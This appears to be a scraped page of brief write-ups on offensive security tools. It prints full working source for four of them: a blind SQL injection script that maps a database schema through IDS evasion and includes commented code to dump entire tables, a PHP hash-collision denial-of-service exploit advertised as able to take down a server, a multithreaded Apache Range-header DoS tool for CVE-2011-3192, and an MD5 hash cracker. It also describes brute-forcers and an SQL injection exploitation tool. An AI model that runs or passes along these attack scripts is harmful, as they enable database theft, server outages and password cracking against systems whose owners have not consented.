web-sorrow – server security scanner
A perl based tool for misconfiguration, version detection, enumeration, and server information scanning. Web-Sorrow is a "safe to run" program. meaning it is not designed attempt to exploit or preform any kind of injection, DDoS/DoS, CSRF, XSS, or any harmful attacks. It's entirely focused on Enumeration and collecting Info on the target server.
CURRENT functionality:
-S - stands for standard. a set of Standard tests and includes: indexing of directories testing, banner grabbing, language detection (should be obvious), robots.txt, 200 response testing (some servers send a 200 ok for every req), and thumbs.db scanning
-auth - looks for login pages with a list of some of the most common login files and dirs and admin consoles. don't need to be very big list of URLs because what else are going to name it? notAlogin.php???
-Cp - scan with a huge list of plugins dirs. the list is a bit old (Drupal and wordpress plugins databases are now current but sorry joomla's still a bit old)
-I - searches the responses for interesting strings
-Ws - looks for web services such as hosting provider, blogging services, favicon fingerprinting, and cms version info
-Fd - look for generally things people don't want you to see. The list is generated form a TON of robot.txt so whatever it finds should be interesting.
-ninja - A light weight and undetectable scan that uses bits and peaces from other scans
-R - use http range headers to make scans faster
-Shadow - Use Google cache instead of requesting from the target host
-Sd - Bruteforce Sub Domains
-Db - Bruteforce Directories with the big dirbuster Database
-ua - use a custom UserAgent. PUT UA IN QUOTES if there's spaces
-proxy - send all http reqs via a proxy. example: 255.255.255.254:8080
-e - run all the scans in the tool
web-sorrow also has false positives checking on most of it's requests (it pretty accurate but not perfect)
EXAMPLES:
- basic: perl Wsorrow.pl -host scanme.nmap.org -S
- stealthy: perl Wsorrow.pl -host scanme.nmap.org -ninja -proxy 190.145.74.10:3128
- scan for login pages: perl Wsorrow.pl -host 192.168.1.1 -auth
- CMS intense scan: perl Wsorrow.pl -host 192.168.1.1 -Ws -Cp all -I
- most intense scan possible: perl Wsorrow.pl -host 192.168.1.1 -e
- dump http headers: perl headerDump.pl
- Check if host is alive: perl hdt.pl -host 192.168.1.1
CONTACT: @flyinpoptartcat
httpry packet sniffer
httpry is packet sniffer designed for displaying and logging HTTP traffic. It is not intended to perform analysis itself, but to capture, parse, and log the traffic for later analysis. It can be run in real-time displaying the traffic as it is parsed, or as a daemon process that logs to an output file. It is written to be as lightweight and flexible as possible, so that it can be easily adaptable to different applications.
What can you do with it? Here's a few ideas:
- See what users on your network are requesting online
- Check for proper server configuration (or improper, as the case may be)
- Research patterns in HTTP usage
- Watch for dangerous downloaded files
- Verify the enforcement of HTTP policy on your network
- Extract HTTP statistics out of saved capture files
This release brings substantial improvements to some existing features. IPv6 parsing can now follow extension headers that are present in the captured packets. Also, the rate statistics code has been substantially overhauled to handle an arbitrary number of hosts, along with a couple of additional switches for controlling behavior. Additionally, this release adds an optional switch to specify the PID filename, which is helpful when running multiple instances of httpry on the same box.
DotDotPwn v3.0 The Directory Traversal Fuzzer
Version: DotDotPwn v3.0
Release date: 03/Feb/2012 (Release at BugCon Security Conferences 2012)
Changes / Enhancements / Features:
- -X switch that implements the Bisection Algorithm in order to detect the exact deepness once a directory traversal vulnerability has been found. - http://en.wikipedia.org/wiki/Bisection_method
- -M switch to specify another method different from the default (GET) when the http module is used.
- Other HTTP methods are [POST | HEAD | COPY | MOVE]
- -e switch to specify the file extension to be appended at the end of each fuzz string (e.g. ".php", ".jpg", ".inc")
- New dots & slashes encodings (fuzz patterns) based on: https://www.owasp.org/index.php/Canonicalization,_locale_and_Unicode and http://wikisecure.net/security/uri-encoding-to-bypass-idsips
Supported modules:
- HTTP
- HTTP URL
- FTP
- TFTP
- Payload (Protocol independent)
- STDOUT
Feel free to download this new release from the following sites:
Contact us: dotdotpwn@sectester.net
MySql 5 Enumeration tool
This script uses blind SQL injection and boolean enumeration to perform INFORMATION_SCHEMA Mapping.
Usage:
perl mysql5enum.pl -h [hostname] -u [url] [-q [query]]
Ex:
perl mysql5enum.pl -h www.target.tld -u http://www.target.tld/vuln.ext?input=24 -q "select system_user()"
* By default, this script will first determine username, version and database name before enumerating the information_schema information.
* When the -q flag is applied, a user can supply any query that returns only a single cell
* If the exploit or vulnerability requires a single quote, simply tack %27 to the end of the URI.
* This script contains error detection : It will only work on a mysql 5.x database, and knows when its queries have syntax errors.
* This script uses perl's LibWhisker2 for IDS Evasion (The same as Nikto).
* This script uses the MD5 algorithm for optimization. There are other optimization methods, and this may not work on all sites.
#!/usr/bin/perl
use strict;
use Getopt::Std;
use Digest::MD5 qw(md5_hex);
use LW2;
my %options = ();
getopts("u:h:q:", \%options);
my $url = $options{u}; # Vuln URL
my $host = $options{h}; # Needs this for libwhisker
# Format.
my $count = 0;
if (my $q = $opts{q}) {
$q =~ s/\ /%20/g;
my ($cxr, $result) = runQuery($url,$host,$q);
print "Query Result:\n\t$result\nCalculated in $cxr requests.\n";
exit(1);
}
# Get the Database Version
my $query = "SELECT%20VERSION()";
my ($tmp, $version) = runQuery($url, $host, $query);
$count += $tmp;
$count += 2;
print "\nDatabase Version:\t\t$version\nIn $count requests.\n\n";
# Get the Database Name
$query = "SELECT%20DATABASE()";
my ($tmp,$answer) = runQuery($url, $host, $query);
print "Database Name:\t\t$answer\nIn $tmp requests.\n\n";
# Get the Database Username
$query = "SELECT%20USER()";
my ($tmp,$answer) = runQuery($url, $host, $query);
print "Database User:\t\t$answer\nIn $tmp requests.\n\n";
if ($version =~ /5\./g)
{
print "Enumerating Database Spec:\n";
getSchema($url,$host);
exit(1);
} else {
print "This is not MySQL v5.x, so I can't enumerate the schema tables!\n";
exit(1);
}
sub getSchema
{
my $url = shift;
my $host = shift;
my $query = "SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE())";
$query =~ s/ /%20/g;
my ($c, $val) = runQuery($url,$host,$query);
# $val = number of table names in the current database.
for (my $i=0; $i < int($val); ++$i)
{
$query = "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE()) LIMIT $i,1";
$query =~ s/ /%20/g;
my ($q, $table) = runQuery($url,$host,$query);
print "$table:\n";
# $table = table name
$query = "SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=";
$query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=";
$query .= "(SELECT DATABASE()) LIMIT $i,1)";
$query =~ s/ /%20/g;
my ($r, $fcount) = runQuery($url,$host,$query);
# $fcount - number of columns in the table
for (my $n = 0; $n < int($fcount); ++$n)
{
$query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=";
$query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=";
$query .= "(SELECT DATABASE()) LIMIT $i,1) LIMIT $n,1";
$query =~ s/ /%20/g;
my ($o, $field) = runQuery($url,$host,$query);
print "\t$field\n";
# Uncomment the lines below to
# scrape the entire database.
# $query = "SELECT COUNT($field) FROM $table";
# $query =~ s/ /%20/g;
# my ($r, $total) = runQuery($url,$host,$query);
# for (my $cn = 0; $cn < $total; $cn++)
# {
# $query = "SELECT $field FROM $table LIMIT $cn,1";
# $query =~ s/ /%20/g;
# my ($e, $data) = runQuery($url,$host,$query);
# print "\t\t$data\n";
# }
}
}
}
sub runQuery
{
my $url = shift;
my $host = shift;
my $query = shift;
my $qCount;
my $qCH;
my $pos = 1;
my $floor = 0; # Bottom of ascii keyrange
my $ceiling = 255; # Top of ascii keyrange
my $spacer = "%20OR%20";
my $truth = "62=62/*";
my $lie = "88=98/*";
my ($true, $false) = makeTrueFalse($url, $spacer, $truth, $lie, $host);
my $lenUri = "$url" . queryConstruct(0, 0, $spacer, $query);
my ($qCH, $len) = getValue($lenUri, 64, 0, $true, $false, $host);
$qCount += $qCH;
my $results = "";
while (($pos < $len) || ($pos eq $len))
{
my $uri = "$url" . queryConstruct(1, $pos, $spacer, $query); #construct the actual URI
my ($qCH, $value) = getValue($uri, $ceiling, $floor, $true, $false, $host);
$qCount += $qCH;
my $char = chr("$value");
$results .= $char;
++$pos;
}
return ($qCount, $results);
}
#Logrithm
sub getValue
{
my $uri = shift;
my $ceiling = shift;
my $floor = shift;
my $true = shift;
my $false = shift;
my $host = shift;
my $nextmaybe;
my $target;
my $qCount = 0;
my $maybe = int($ceiling/2); # Get the middle of the total possible range of values
while (not defined $target) {
if (isGT($uri, $maybe, $host) eq $true)
{
++$qCount;
$floor = $maybe;
$nextmaybe = int($maybe + (($ceiling - $floor)/2));
} elsif (isLT($uri, $maybe, $host) eq $true)
{
++$qCount;
$ceiling = $maybe;
$nextmaybe = int($maybe - (($ceiling - $floor)/2));
} elsif (isEQ($uri, $maybe, $host) eq $true)
{
++$qCount;
$target = $maybe;
return ($qCount, $target);
}
$maybe = $nextmaybe;
if (($maybe eq "") || (!$maybe) || (not defined $maybe))
{
print "SQL Error caught! Aborting!\n";
print "At least 3 queries in error log!\n";
exit(1);
}
}
}
# Is greater than?
sub isGT
{
my $uri = shift;
my $guess = shift;
my $host = shift;
return (md5_hex(download("$uri>$guess)/*", $host)));
}
# Is less than?
sub isLT
{
my $uri = shift;
my $guess = shift;
my $host = shift;
return (md5_hex(download("$uri<$guess)/*", $host)));
}
# Is equal to?
sub isEQ
{
my $uri = shift;
my $guess = shift;
my $host = shift;
return (md5_hex(download("$uri=$guess)/*", $host)));
}
# Ripped off from an older version of the scanner
sub download
{
my $uri = shift;
my $try = 5;
my $host = shift;
my %request;
my %response;
LW2::http_init_request(\%request);
$request{'whisker'}->{'method'} = "GET";
$request{'whisker'}->{'host'} = $host;
$request{'whisker'}->{'uri'} = $uri;
$request{'whisker'}->{'encode_anti_ids'} = 962;
$request{'whisker'}->{'user-agent'} = "wget";
LW2::http_fixup_request(\%request);
if(LW2::http_do_request(\%request, \%response)) {
if($try < 5) {
print "Failed to fetch $uri on try $try. Retrying...\n";
return undef if(!download($uri, $try++));
}
print "Failed to fetch $uri.\n";
return undef;
} else {
return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});
}
}
sub queryConstruct
{
my $type = shift;
my $pos = shift;
my $spacer = shift;
my $query = shift;
if ($type eq 0) # Len
{
my $newQuery = "LENGTH(($query))";
my $padding = "(";
my $ender = "";
return ("$spacer$padding$newQuery$ender");
} elsif ($type eq 1) # String
{
my $padding = "((ASCII((LOWER((MID(("; # Begin query construct
my $ender = "),$pos,1))))))"; # End query Construct
return ("$spacer$padding$query$ender"); #construct the actual query
}
}
sub makeTrueFalse
{
my $url = shift;
my $spacer = shift;
my $truth = shift;
my $lie = shift;
my $host = shift;
my $trueMD = md5_hex(download("$url$spacer$truth", $host));
my $falsMD = md5_hex(download("$url$spacer$lie", $host));
# returns true, false
return ($trueMD, $falsMD);
}
soruce here
PHP 5.3.x Hash Collision Proof Of Concept Code
Hash collisions in POST Denial-of-service exploit
Examples:
-) Make a single Request, wait for the response and save the response to output0.html
python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output
-) Take down a server(make 500 requests without waiting for a response):
python HashtablePOC.py -u https://host/index.php -v -c 500
requires Python 2.7
import socket
import sys
import math
import urllib
import string
import time
import urlparse
import argparse
import ssl
def main():
parser = argparse.ArgumentParser(description="Take down a remote PHP Host", prog="PHP Hashtable Exploit")
parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response")
parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests")
parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output")
parser.add_argument("-f", "--file", dest="file", help="Save payload to file")
parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w")
parser.add_argument('--version', action='version', version='%(prog)s 2.0')
options = parser.parse_args()
url = urlparse.urlparse(options.url)
if not url.scheme:
print("Please provide a scheme to the URL(http://, https://,..")
sys.exit(1)
host = url.hostname
path = url.path
port = url.port
if not port:
if url.scheme == "https":
port = 443
elif url.scheme == "http":
port = 80
else:
print("Unsupported Protocol %s" % url.scheme)
sys.exit(1)
if not path:
path = "/"
print("Generating Payload...")
payload = generatePayload()
print("Payload generated")
if options.file:
f = open(options.file, 'w')
f.write(payload)
f.close()
print("Payload saved to %s" % options.file)
print("Host: %s" % host)
print("Port: %s" % str(port))
print("path: %s" % path)
print
print
for i in range(options.count):
print("sending Request #%s..." % str(i+1))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if url.scheme == "https":
ssl_sock = ssl.wrap_socket(sock)
ssl_sock.connect((host, port))
ssl_sock.settimeout(None)
else:
sock.connect((host, port))
sock.settimeout(None)
request = """POST %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)
Content-Length: %s
%s
""" % (path, host, str(len(payload)), payload)
if url.scheme == "https":
ssl_sock.send(request)
else:
sock.send(request)
if options.verbose:
if len(request) > 300:
print(request[:300]+"....")
else:
print(request)
print
if options.wait or options.output:
start = time.clock()
if url.scheme == "https":
data = ssl_sock.recv(1024)
string = ""
while len(data):
string = string + data
data = ssl_sock.recv(1024)
else:
data = sock.recv(1024)
string = ""
while len(data):
string = string + data
data = sock.recv(1024)
elapsed = (time.clock() - start)
print ("Request %s finished" % str(i+1))
print ("Request %s duration: %s" % (str(i+1), elapsed))
split = string.partition("rnrn")
header = split[0]
content = split[2]
if options.verbose:
# only print http header
print
print(header)
print
if options.output:
f = open(options.output+str(i)+".html", 'w')
f.write("rn"+content)
f.close()
if url.scheme == "https":
ssl_sock.close()
sock.close()
else:
sock.close()
def generatePayload():
# Taken from:
# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
# Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)
# entries with collisions in PHP hashtable hash function
a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)}
# how long should the payload be
length = 7
size = len(a)
post = ""
maxvaluefloat = math.pow(size,length)
maxvalueint = int(math.floor(maxvaluefloat))
for i in range (maxvalueint):
inputstring = base_convert(i, size)
result = inputstring.rjust(length, '0')
for item in a:
result = result.replace(item, a[item])
post += '' + urllib.quote(result) + '=&'
return post;
def base_convert(num, base):
fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
alphabet = fullalphabet[:base]
if (num == 0):
return alphabet[0]
arr = []
base = len(alphabet)
while num:
rem = num % base
num = num // base
arr.append(alphabet[rem])
arr.reverse()
return ''.join(arr)
if __name__ == "__main__":
main()
Patator multi-purpose brute-forcer
Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.
Currently it supports the following modules:
* ftp_login : Brute-force FTP
* ssh_login : Brute-force SSH
* telnet_login : Brute-force Telnet
* smtp_login : Brute-force SMTP
* smtp_vrfy : Enumerate valid users using the SMTP VRFY command
* smtp_rcpt : Enumerate valid users using the SMTP RCPT TO command
* http_fuzz : Brute-force HTTP/HTTPS
* pop_passd : Brute-force poppassd (not POP3)
* ldap_login : Brute-force LDAP
* smb_login : Brute-force SMB
* mssql_login : Brute-force MSSQL
* oracle_login : Brute-force Oracle
* mysql_login : Brute-force MySQL
* pgsql_login : Brute-force PostgreSQL
* vnc_login : Brute-force VNC
* dns_forward : Forward lookup subdomains
* dns_reverse : Reverse lookup subnets
* snmp_login : Brute-force SNMPv1/2 and SNMPv3
* unzip_pass : Brute-force the password of encrypted ZIP files
* keystore_pass : Brute-force the password of Java keystore files
The name "Patator" comes from http://www.youtube.com/watch?v=xoBkBvnTTjo
Patator is NOT script-kiddie friendly, please read the README inside patator.py before reporting.
Lynis Auditing Tool
Lynis is an auditing tool for Unix (specialists). It scans the system and available software, to detect security issues. Beside security related information it will also scan for general system information, installed packages and configuration mistakes.
This software aims in assisting automated auditing, software patch management, vulnerability and malware scanning of Unix based systems. It can be run without prior installation, so inclusion on read only storage is no problem (USB stick, cd/dvd).
Lynis assists auditors in performing Basel II, GLBA, HIPAA, PCI DSS and SOX (Sarbanes-Oxley) compliance audits.
Intended audience:
Security specialists, penetration testers, system auditors, system/network managers.
Examples of audit tests:
- Available authentication methods
- Expired SSL certificates
- Outdated software
- User accounts without password
- Incorrect file permissions
- Firewall auditing
Supported operating systems
Tested on:
- Arch Linux
- CentOS
- Debian
- Fedora Core 4 and higher
- FreeBSD
- Gentoo
- Knoppix
- Mac OS X
- Mandriva 2007
- OpenBSD 4.x
- OpenSolaris
- OpenSuSE
- PcBSD
- PCLinuxOS
- Red Hat, RHEL 5.x
- Slackware 12.1
- Solaris 10
- Ubuntu
Mole – automatic SQL Injection exploitation tool
The Mole is an automatic SQL Injection exploitation tool. Only by providing a vulnerable URL and a valid string on the site it can detect the injection and exploit it, either by using the union technique or a boolean query based technique.
Features:
* Support for injections using Mysql, SQL Server, Postgres and Oracle databases.
* Command line interface. Different commands trigger different actions.
* Auto-completion for commands, command arguments and database, table and columns names.
* Support for query filters, in order to bypass certain IPS/IDS rules using generic filters, and the possibility of creating new ones easily.
* Developed in python 3.
Download windows version or linux
Tutorial and webpage here.
KillApachePy Range Header DoS
If you are following security trends then you've probably heard about the DoS attack against major number of Apache versions by usage of specially crafted Range header (CVE-2011-3192). Based on the original PoC (killapache.pl) I've made a Python version out of it which is more user friendly and has few program workflow enhancements (automatic usage of maximum (system) allowed thread number, setting custom HTTP method (GET/HEAD/...), custom target page for retrieval, proxy support, etc.)
p.s. Python v2.5.x-v2.7.x is recommended for running this tool
[cc lang="python"]#!/usr/bin/env python
import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse
NAME = "KillApachePy (Range Header DoS CVE-2011-3192)"
VERSION = "0.1d"
AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE = "Public domain (FREE)"
SLEEP_TIME = 3 # time to wait for new thread slots (after max number reached)
RANGE_NUMBER = 1024 # number of range subitems forming the DoS payload
USER_AGENT = "KillApachePy (%s)" % VERSION
def attack(url, user_agent=None, method='GET', proxy=None):
url = ("http://%s" % url) if '://' not in url else url
host = urlparse.urlparse(url).netloc
if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
print "(x) Invalid proxy address used"
exit(-1)
proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
opener = urllib2.build_opener(proxy_support)
urllib2.install_opener(opener)
class _MethodRequest(urllib2.Request): # Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
def set_method(self, method):
self.method = method.upper()
def get_method(self):
return getattr(self, 'method', urllib2.Request.get_method(self))
def _send(check=False): #Send the vulnerable request to the target
if check:
print "(i) Checking target for vulnerability..."
payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
try:
headers = { 'Host': host, 'User-Agent': user_agent or USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
req = _MethodRequest(url, None, headers)
req.set_method(method)
response = urllib2.urlopen(req)
if check:
return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
except urllib2.URLError, msg:
if any([item in str(msg) for item in ('Too many', 'Connection reset')]):
pass
elif 'timed out' in str(msg):
print "\r(i) Server seems to be choked ('%s')" % msg
else:
print "(x) Connection error ('%s')" % msg
if check or 'Forbidden' in str(msg):
os._exit(-1)
except Exception, msg:
raise
try:
if not _send(check=True):
print "(x) Target does not seem to be vulnerable"
else:
print "(o) Target seems to be vulnerable\n"
quit = False
while not quit:
threads = []
print "(i) Creating new threads..."
try:
while True:
thread = threading.Thread(target=_send)
thread.start()
threads.append(thread)
except KeyboardInterrupt:
quit = True
raise
except Exception, msg:
if 'new thread' in str(msg):
print "(i) Maximum number of new threads created (%d)" % len(threads)
else:
print "(x) Exception occured ('%s')" % msg
finally:
if not quit:
print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
time.sleep(SLEEP_TIME)
print
except KeyboardInterrupt:
print "\r(x) Ctrl-C was pressed"
os._exit(1)
if __name__ == "__main__":
print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
parser = optparse.OptionParser(version=VERSION)
parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
options, _ = parser.parse_args()
if options.url:
result = attack(options.url, options.agent, options.method, options.proxy)
else:
parser.print_help()[/cc]
BozoCrack
BozoCrack is a depressingly effective MD5 password hash cracker with almost zero CPU/GPU load. Instead of rainbow tables, dictionaries, or brute force, BozoCrack simply finds the plaintext password. Specifically, it googles the MD5 hash and hopes the plaintext appears somewhere on the first page of results.
It works way better than it ever should.
Usage:
[cc lang="bash"]$ ruby bozocrack.rb my_md5_hashes.txt[/cc]
Output:
[cc lang="bash"]$ ruby bozocrack.rb example.txt
Loaded 5 unique hashes
fcf1eed8596699624167416a1e7e122e:octopus
bed128365216c019988915ed3add75fb:passw0rd
d0763edaa9d9bd2a9516280e9044d885:monkey
dfd8c10c1b9b58c8bf102225ae3be9eb:12081977
ede6b50e7b5826fe48fc1f0fe772c48f:1q2w3e4r5t6y[/cc]
bozocrack.rb
[cc lang="ruby"]require 'digest/md5'
require 'net/http'
class BozoCrack
def initialize(filename)
@hashes = Array.new
@cache = Hash.new
File.new(filename).each_line do |line|
if m = line.chomp.match(/\b([a-fA-F0-9]{32})\b/)
@hashes << m[1]
end
end
@hashes.uniq!
puts "Loaded #{@hashes.count} unique hashes"
load_cache
end
def crack
@hashes.each do |hash|
if plaintext = @cache[hash]
puts "#{hash}:#{plaintext}"
next
end
if plaintext = crack_single_hash(hash)
puts "#{hash}:#{plaintext}"
append_to_cache(hash, plaintext)
end
sleep 1
end
end
private
def crack_single_hash(hash)
response = Net::HTTP.get URI("http://www.google.com/search?q=#{hash}")
wordlist = response.split(/\s+/)
if plaintext = dictionary_attack(hash, wordlist)
return plaintext
end
nil
end
def dictionary_attack(hash, wordlist)
wordlist.each do |word|
if Digest::MD5.hexdigest(word) == hash.downcase
return word
end
end
nil
end
def load_cache(filename = "cache")
if File.file? filename
File.new(filename).each_line do |line|
if m = line.chomp.match(/^([a-fA-F0-9]{32}):(.*)$/)
@cache[m[1]] = m[2]
end
end
end
end
def append_to_cache(hash, plaintext, filename = "cache")
File.open(filename, "a") do |file|
file.write "#{hash}:#{plaintext}\n"
end
end
end
if ARGV.size == 1
BozoCrack.new(ARGV[0]).crack
else
puts "Usage example: ruby bozocrack.rb file_with_md5_hashes.txt"
end[/cc]
Source here
